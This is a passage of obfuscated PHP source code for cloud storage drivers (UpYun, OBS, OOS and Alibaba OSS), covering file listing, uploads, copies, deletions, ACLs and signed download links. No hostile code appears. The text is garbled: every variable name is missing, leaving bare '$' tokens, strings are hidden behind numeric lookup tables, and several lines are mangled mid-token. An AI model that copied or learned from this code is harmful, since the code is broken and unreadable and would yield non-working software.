eturn $[$[1293]] ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $ =& $_SERVER[]; $ 
 = array($[1559] . "/{$this->bucket}/{$}", $[1560]); $ = $this->ussRequest($, $[259], !1, $); return 
$[$[1293]] ? !0 : $this->getPathOuter($); } public function moveFile($, $) { $ =& $_SERVER[]; $ = ar 
ray($[1561] . "/{$this->bucket}/{$}", $[1560]); $ = $this->ussRequest($, $[259], !1, $); return $ 
[$[1293]] ? !0 : $this->getPathOuter($); } public function delFile($) { $ =& $_SERVER[]; $ = $this->ussR 
equest($, $[1562]); return $[$[1293]] ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[]; if (!$t 
his->exist($)) { return !0; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); 
$this->listItemCache = !0; foreach ($ as $) { $ = $this->ussRequest($[$[32]], $[1562]); if (!$[$[1293 
]]) { return !1; } } foreach ($ as $) { $ = $this->ussRequest($, $[1562]); if (!$[$[1293]]) { return !1; } } $ 
 = $this->ussRequest($, $[1562]); return $[$[1293]]; } public function rename($, $) { if ($this->isFile($ 
)) { $ = get_path_father($) . $; return $this->moveFile($, $); } return $this->renameObject($, $); } public fun 
ction fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), 
$[87] => $this->getPathOuter($[8] . $), $[33] => $[230], $[79] => isset($[$[79]]) ? $[$ 
[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[231]] = $[$[88]] = 0; $[$ 
[232]] = $[$[233]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[23 
1]] = intval($[$[1563]]); $[$[88]] = intval($[$[1564]]); $[$[79]] = $[$[79]]; return $ 
; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($) 
, $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[231]] = 
$[$[88]] = 0; $[$[232]] = $[$[233]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$ 
) { return $; } } $[$[231]] = intval($[$[1563]]); $[$[88]] = intval($[$[1564]]); return $ 
; } private function listObjs($, $ = 0, $ = 1000) { $ =& $_SERVER[]; $ = array($[1565], $[1566] 
. $); if ($) { $[] = $[1567] . $; } $ = $this->ussRequest($, $[261], !1, $); return !$ 
[$[1293]] ? !1 : $[$[1283]]; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[ 
]; $ = $[12]; $ = 1000; $ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($ 
, $, $); if (!$) { return !1; } $ = isset($[$[1568]]) ? $[$[1568]] : $[12]; $ = isset($ 
[$[1569]]) ? $[$[1569]] : array(); foreach ($ as $) { $ = $[$[33]] == $[78] ? !0 : !1; $ 
 = ltrim($ . $[$[32]], $[8]) . ($ ? $[8] : $[12]); $ = array($[32] => $, $[33] => $ 
 ? $[78] : $[230], $[79] => $[$[422]], $[1564] => $[$[1570]]); $this->cacheMethodInfoSet($, 
$, $); if ($) { $[] = $; if ($) { $this->fileList($, $, $, $); } continue; } $[] = $ 
; } if (count($) < $) { break; } } $this->cacheMethodInfoSet($, !0); } public function listPath($, $ = false) { $ 
 =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $) { $ 
[$] = $this->folderInfo($, $); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$[32]], $ 
, $); } return array($[85] => $, $[86] => $); } public function has($, $ = false, $ = true) { $ 
 =& $_SERVER[]; $ = $[12]; $ = 500; $ = 0; $ = 0; $ = rtrim($, $[8]) . $[8]; while ( 
!0) { check_abort(); $ = $this->listObjs($, $, $); if (!$) { return !1; } $ = isset($[$[1568]]) ? $ 
[$[1568]] : $[12]; $ = isset($[$[1569]]) ? $[$[1569]] : array(); if (empty($)) { break; } $ 
 = array_filter($, function ($) { $ =& $_SERVER[]; return $[$[33]] == $[78]; }); $ = count($ 
); $ = count($); $ = $ - $; if ($) { $ += $; $ += $; if ($ < $) { b 
reak; } continue; } if ($) { if ($) { return !0; } } else { if ($) { return !0; } } if ($ < $) { break; } } if ( 
$) { return array($[239] => $, $[240] => $); } return !1; } public function listAll($) { $ =& $_SERVER[ 
]; $ = $ = array(); $this->fileList($, $, $, !0); $ = array_to_keyvalue($, $[32]); foreach ($ 
 as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public fun 
ction canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } 
public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ =& 
$_SERVER[]; if (!$) { $ = $this->ussRequest($, $[257]); return $[$[1293]]; } $ = $this->tempFile 
($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; 
} return !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1 
; } $ = !1; if ($ > 0) { $ = $ + $ - 1; $ = array($[1529] . $ . $[470] . $); } $ = url_reques 
t($, $[261], !1, $); return $[$[823]] ? $[$[1283]] : !1; } public function upload($, $, $ = fa 
lse, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = IO::size($); if ($ <= 1024 * 1024 * 200) { $ = array 
($[1571] . $); $ = $this->ussRequest($, $[259], $); return $[$[1293]] ? $this->getPathOuter($ 
) : !1; } $ = 1024 * 1024 * 10; $ = array($[1572], $[1573] . $, $[1574], $[1575] . $); $ 
 = $this->ussRequest($, $[259], !1, $); if (!$[$[1293]]) { return !1; } $ = $[$[1283]]; $ 
 = 0; $ = $[$[1576]]; $ = fopen($, $[1452]); if (!$) { return !1; } do { $ = $[$[1577 
]]; fseek_64($, $); $ = fread($, $); $ = 0; do { $++; $ = $this->uploadPart($, $, $) 
; } while (!$ && $ < 3); if (!$) { return !1; } $ = $[$[1576]]; $ += $; } while ($ != -1); fc 
lose($); $ = array($[1578], $[1579] . $[$[1580]], $[1574]); $ = $this->ussRequest($, $ 
[259], !1, $); return $[$[1293]] ? $this->getPathOuter($) : !1; } private function uploadPart($, $, &$) 
{ $ =& $_SERVER[]; $ = array($[1581], $[1579] . $[$[1580]], $[1582] . $[$[1576]], $[146] . $ 
[$[1577]]); $ = $this->ussRequest($, $[259], $, $); return !$[$[1293]] ? $[$[1293]] : $ 
[$[1283]]; } public function uploadFormData($, $ = 3600) { return $this->uploadPolicy($, $); } public function 
multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = (int) $GLOBALS[$[7]][$[79]]; return $this->uploadPo 
licy($, $, $); } private function uploadPolicy($, $ = 3600, $ = 0) { $ =& $_SERVER[]; $ = $ 
[8] . $this->bucket; $ = gmdate($[1487]); $ = array($[1583] => $this->bucket, $[1584] => $, $[15 
85] => time() + $, $[1586] => $); if ($) { $[$[1472]] = $; } $ = base64_encode(json_encode($ 
)); $ = base64_encode(hash_hmac($[1540], "POST&{$}&{$}&{$}", md5("{$this->userpass}"), !0)); $ 
= array($[293] => $, $[1587] => "UPYUN {$this->username}:{$}", $[208] => $this->endpoint . $ 
); return $; } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($ 
))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1535]); while (!0) { $ = $this->fileSu 
bstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ += $; if (strlen($) < $) { br 
eak; } } fclose($); return $; } public function link($, $ = array()) { $ =& $_SERVER[]; $ = trim($, 
$[8]); if (!empty($this->token)) { $ = strtotime(date($[1588])); $ = substr(md5($this->token . $[369] . $ . $ 
[1589] . $), 12, 8) . $; $[] = $[1590] . $; } $ = !empty($) ? $[76] . implode($[369], $ 
) : $[12]; return $this->getHost() . $[8] . $ . $; } public function fileOut($, $ = false, $ = false, $ 
= '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); 
} $ = $ ? array($_SERVER[][1591] . rawurlencode($)) : array(); $ = $this->link($, $); $this->fileOutLink($ 
); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $ 
); } public function fileOutImage($, $ = 250) { $ = $this->link($ . $_SERVER[][1592] . $); $this->fileO 
utLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function has 
hMd5($) { $ =& $_SERVER[]; $ = $this->_objectMeta($); return isset($[$[245]]) ? $[$[245]] : 
!1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public functi 
on info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileI 
nfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isF 
ile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($ 
_SERVER[][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][181], $); } prote 
cted function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $ 
= $this->ussRequest($, $[1593]); if (!$[$[1293]]) { return null; } $ = isset($[$[1283]]) ? $[$[128 
3]] : array(); if (!isset($[$[1594]])) { return null; } $ = array($[33] => isset($[$[1594]]) ? $[$[1594 
]] : null, $[79] => isset($[$[1595]]) ? $[$[1595]] : null, $[245] => isset($[$[1596]]) ? $[$[159 
6]] : null, $[1563] => isset($[$[1597]]) ? $[$[1597]] : null); $[$[1564]] = isset($[$[1598]]) ? str 
totime($[$[1598]]) : $[$[1563]]; return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ( 
$ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[ 
$[33]] == $[78] ? !0 : !1; } } goto e; E: class PathDriverOBS extends PathDriverBaseS3 { public function __construct($ 
) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function fileOutImage($, $ = 250) { 
$ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $ = array 
($[1453] => $[1454] . $ . $[1455]); $ = $this->link($, $); $this->fileOutLink($); } public function fileOu 
tLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[313]) { $ = $[314] . substr($, 7); } header($ 
[175] . $); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $thi 
s->setSignVersion($_SERVER[][247]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $ 
[313]) { $ = $[314] . substr($, 7); } header($[175] . $); die; } } class PathDriverOSS extends PathDriverBase 
{ protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $e 
ndpoint = null; protected $client = null; public $ioUploadServer = "0"; public $ioFileOutServer = "0"; public $cdnHost = ''; public $c 
onfig = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1456]; $this->_init($ 
); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $) { if (isset($th 
is->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exc 
eption($[1457] . LNG($[1458])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->se 
tConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $ = new OSS\M 
odel\CorsRule(); $->addAllowedOrigin($[1459]); $->addAllowedMethod($[1460]); $->addAllowedMethod($[1461]); $ 
->addAllowedMethod($[1462]); $->addAllowedMethod($[1463]); $->addAllowedMethod($[165]); $->setMaxAgeSecond 
s(600); $->addExposeHeader($[1464]); $->addAllowedHeader($[1459]); $->addRule($); try { $this->client->putBuc 
ketCors($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); re 
turn !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCo 
rs($this->bucket); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return null; 
} if (!$ || !($ = $->getRules())) { return null; } $ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods 
(); $ = $[0]->getMaxAgeSeconds(); $ = $[0]->getExposeHeaders(); $ = $[0]->getAllowedHeaders(); return array($ 
[218] => isset($[0]) ? $[0] : $[12], $[222] => $, $[1465] => $, $[1466] => isset($[0]) ? $ 
[0] : $[12], $[219] => isset($[0]) ? $[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[]; $ 
 = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[218]] != $[220] || $[$[219]] != $ 
[220]) { return !1; } $ = array_map($[221], $[$[222]]); if (!is_array($)) { $ = array(); } $ = array($[2 
23], $[224], $[225], $[226], $[227]); $ = array_diff($, $); return empty($); } public function mkfil 
e($, $ = '', $ = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($ 
); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($)) { return $this->getPathOu 
ter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this 
->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } return $this->getPathOuter($); } private function 
fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ != 
= $[228] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $ 
 = array($[1467] => $, $[1468] => $, $[1469] => $, $[1470] => $); try { $ = $this->clien 
t->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage 
()); break; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); foreach ($ as $) 
{ if ($->getKey() == $) { continue; } $ = $->getKey(); $ = $->getSize(); $ = $->getLastModified(); 
$ = trim($->getETag(), $[121]); $ 
), $[1471] => $) : $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $ = array 
($[79] => $, $[1472] => $, $[88] => strtotime($), $[1473] => $, $[1471] => $); $this->cache 
MethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $ 
$->getPrefix(); $this->cacheMethodInfoSet($->getPrefix(), !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfo 
Set($, !0); return array($[85] => $, $[86] => $); } public function listObject($, $ = '') { $ =& $_S 
ERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[228] ? $[12] : $ . $[8] 
; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $ = array($[1467] => $, $ 
[1468] => $, $[1469] => $, $[1470] => $); try { $ = $this->client->listObjects($this->bucket, $); } catc 
h (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); break; } $ = $->getNextMark 
er(); $ = $->getObjectList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $ 
 = $->getSize(); $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; if ($) { continue; } $[] 
= $ . $[214] . $; } if ($ === $[12]) { break; } } return array($[85] => $, $[86] => $); } pub 
lic function copyFile($, $) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject 
($this->bucket, $, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_S 
ERVER[][214] . $->getMessage()); return !1; } return $this->getPathOuter($); } $ = $this->multiCopyObject($, $, 
$); return $ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $, $) { $ =& $_SERVER 
[]; try { $ = array(); if ($ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1474] => 
$)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ = 1; $ = 0; $ = ar 
ray(); $ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($, $); foreach ($ as $ => $) { 
$ = $ + (int) $[$[1475]]; $ = (int) $[$[422]] + $ - 1; $ = array($[167] => $ 
, $[168] => $); $[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $, $ 
, $); $ = $ + 1; } $ = array(); foreach ($ as $ => $) { $[] = array($[308] => $ + 1, $ 
[309] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssExce 
ption $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return !0; } public function moveFile($ 
, $) { if ($this->copyFile($, $)) { $this->remove($); return $this->getPathOuter($); } return !1; } public fun 
ction delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) 
{ $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } return !0; } public function delFolder($) 
{ $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $thi 
s->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[228] && !in_array($, $ 
[$[85]])) { $[$[85]][] = $; } $ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this-> 
delByBatch($[$[85]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (ar 
ray_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this 
->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } } return !0; } public function rename($, $) { r 
eturn $this->renameObject($, $); } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ 
 = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($), $[33] => $[230], $[79] => isset($ 
[$[79]]) ? $[$[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[231]] = $[$[ 
88]] = 0; $[$[232]] = $[$[233]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $ 
; } $ = array($[88] => strtotime($[$[1473]]), $[79] => $[$[1472]] + 0, $[1471] => $[$[1471] 
]); } if (isset($[$[1471]]) && $[$[1471]]) { $[$[235]] = trim($[$[1471]], $[121]); } if (isset($ 
[$[79]])) { $[$[79]] = $[$[79]]; } if (isset($[$[88]])) { $[$[88]] = $[$[88]]; } if (isset 
($[$[206]]) && !trim($[$[88]])) { $[$[88]] = $[$[206]]; } return $; } private function folderInfo($ 
, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => 
$this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[231]] = $[$ 
[88]] = 0; $[$[232]] = $[$[233]] = !0; if (empty($)) { $ = rtrim($, $[8]) . $[8]; $ = 
$this->objectMeta($); if (!$) { return $; } $ = array($[231] => $[$[583]][$[1476]], $[88] 
=> strtotime($[$[1473]])); } if (isset($[$[88]])) { $[$[88]] = $[$[88]]; } if (isset($[$ 
[231]])) { $[$[231]] = $[$[231]]; } return $; } public function listPath($, $ = false) { $ =& $_SE 
RVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[85]] as $ => $) { $[$[85]][$] = $t 
his->folderInfo($, $, $); } foreach ($[$[86]] as $ => $) { $[$[86]][$] = $this->fileInfo($ 
[$[32]], $, $); } return $; } protected function infoChildren($, &$) { $SERVER[]; $ = $ 
this->fileList($, $12], !0); $[$81]] += count($[$85]]); $[$80]] += count($[$86]]); foreach ( 
$[$86]] as $) { if (!$ || !$[$79]]) { continue; } $[$79]] += $[$79]]; } } public function h 
as($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $ 
[228] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $ = arra 
y($[1467] => $[8], $[1468] => $, $[1469] => $, $[1470] => $); try { $ = $this->client->listObject 
s($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); bre 
ak; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); if ($) { if (count($) > 1 
|| count($) == 1 && $[0]->getKey() != $) { $ += count($) - 1; } if (!empty($)) { $ += count($); } i 
f ($ === $[12]) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $) { 
return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[239] 
=> $, $[240] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($ 
, $[12], !0); $ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $) { if (is_string($ 
)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { $ = 
& $_SERVER[]; $ = $this->pathAcl($); return $ == $[1477] || $ == $[627] ? !0 : !1; } public function canWrit 
e($) { $ = $this->pathAcl($); return $ == $_SERVER[][627] ? !0 : !1; } public function pathAcl($) { $ 
=& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this-> 
client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ 
[214] . $->getMessage()); return !1; } $ = $ == $[37] ? $this->bucketAcl : $; if ($ == $[1478]) { retu 
rn $[1477]; } if ($ == $[1479]) { return $[627]; } return $; } private function chmodPath($, $ = '') { $ 
 =& $_SERVER[]; $ = empty($) ? $[1479] : $; $ = array($[37], $[229], $[1478], $[1479]); if (!in_ar 
ray($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssEx 
ception $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return !0; } public function getContent($ 
) { return $this->fileSubstr($, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; try { $ = 
$this->trafficLimit($[1480]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $, $); } catch (OSS\ 
Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } $ = array($[1474] => tri 
m($[$[1471]], $[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $ 
); return isset($[$[1481]][$[292]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode( 
$); try { $ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $ 
); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } 
return !0; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = trim($ 
, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADE 
RS => array($[1474] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->traf 
ficLimit($[1480], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $); } catch (OS 
S\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return $this->getPathOuter 
($); } public function getHost() { $ =& $_SERVER[]; $ = explode($[210], parent::getHost()); return $[0] . $ 
[210] . $this->bucket . $[10] . $[1]; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; i 
f (!($ = $this->getHost())) { return !1; } $ = $; $ = date($[1482], time() + $); $ = new DateTime($); $ 
 = $->format(DateTime::ISO8601); $ = strpos($, $[381]); $ = substr($, 0, $) . $[1483]; $ = 1048576 
000 * 5; $ = $this->pathFather($); $ = array($[275] => $, $[278] => array(array($[1484], 0, $), arra 
y($[281], $[282], $))); $ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[263], $, 
$this->secret, !0)); $ = array($[293] => $, $[1485] => $this->accessKey, $[285] => $[274], $[1486] => 
$, $[208] => $); $ = $this->trafficLimit($[1480], $); return $; } public function multiUploadFormData($ 
, $ = 3600) { $ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ = $this->trafficLimit($[1480]) 
; $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); return array($[254] => $, $ 
[208] => $ . $[8] . $this->pathEncode($), $[255] => gmdate($[1487]), $[97] => $); } public function multiUpl 
oadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($[$[255]]) ? $[$[255]] : gmdate($ 
[1487]); $ = isset($[$[169]]) ? $[$[169]] : $[12]; $ = $; if (isset($[$[97]])) { $ 
 = $[$[97]]; unset($[$[97]]); } if (isset($[$[256]])) { $[$[255]] = $; return $this->l 
istUploadParts($, $); } $ = array($[257], $[12], $[123], $, "x-oss-date:{$ 
}", $[8] . $this->bucket . $[8] . $ . $); if (strpos($, $[258]) === 0) { $[0] = $[259]; if ($ 
 = $this->trafficLimit($[1480])) { $ = $[1488]; array_splice($, 5, 0, $ . $[4] . $[$]); } } if 
(isset($[$[260]]) && $[$[260]] == $[261]) { $[0] = $[261]; } if (!empty($[$[1489]])) { $ 
= array_merge(array($[4]), $[$[1489]]); sort($); $[4] = implode($[262], $); } $ = implode($[262], 
$); $ = base64_encode(hash_hmac($[263], $, $this->secret, !0)); $ = $[1457] . $this->accessKey . $[4] . $ 
; if (strpos($, $[258]) === 0) { $ = array($[265] => $, $[255] => $); if ($) { $ = array_ 
merge($, $); } } return $; } public function listUploadParts($, $) { $ =& $_SERVER[]; $ = parse_url 
_query($[$[169]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($), $[$[254]]); $ = $->g 
etListPart(); $ = array(); foreach ($ as $) { $[] = array($[308] => $->getPartNumber(), $[309] => trim( 
$->getETag(), $[121])); } unset($[$[256]], $[$[260]]); $ = $this->multiUploadAuthData($, $); if ( 
empty($)) { return !1; } return array($[265] => $, $[255] => $[$[255]], $[267] => $); } public functi 
on download($, $) { $ =& $_SERVER[]; if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient: 
:OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($[112], $); $this->client->getObject($this->bucket, $this->pathEncod 
e($), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; 
} return $; } public function fileSubstr($, $ = 0, $ = false) { if ($ === -1) { $ = array(); } else { if ($ 
=== !1) { $ = $this->size($); } else { $ = $ + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}-{ 
$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $ 
) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); think_exception($->getMessage()); return !1; } } priv 
ate function trafficLimit($, $ = array()) { $ =& $_SERVER[]; if ($ == $[1480] && $this->isUploadServer() 
|| $ == $[112] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$[6]][$[92]][$[110]] 
[$]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); 
$[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $; } public function link($, $ = array()) { $ =& $_SE 
RVER[]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ = $this->trafficLimit($[112], $); 
$ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[261], $); return $this->getCdnLink($); 
} catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } } public function f 
ileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->file 
OutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $ = get_file 
_mime(get_path_ext($)); if ($ == $[248]) { return parent::fileOut($, $, $, $); } $ = $ ? $[ 
1490] : $[1491]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1492] . rawurlencode("{$};filena
 
5e={$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1493] . rawurlencode($); $ = $this->link($, $); 
$this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $ 
, $, $); } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImag 
eServer($, $); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1454] . $); $ = $this->link($, $); $ 
this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public func 
tion fileOutLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost() && substr($, 0, 7) == $[313]) { $ = $[314] . su 
bstr($, 7); } header($[175] . $); die; } public function hashMd5($, $ = '') { $ =& $_SERVER[]; $ = $this-> 
_objectMeta($); if (!$) { return $[12]; } if (!isset($[$[1474]]) && !empty($)) { $ = $this->updateObjMeta($ 
, array($[1474] => $)); $[$[1474]] = $ ? $ : $[12]; } return isset($[$[1474]]) ? strtolower($ 
[$[1474]]) : $[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][ 
79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($ 
)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); 
} public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return 
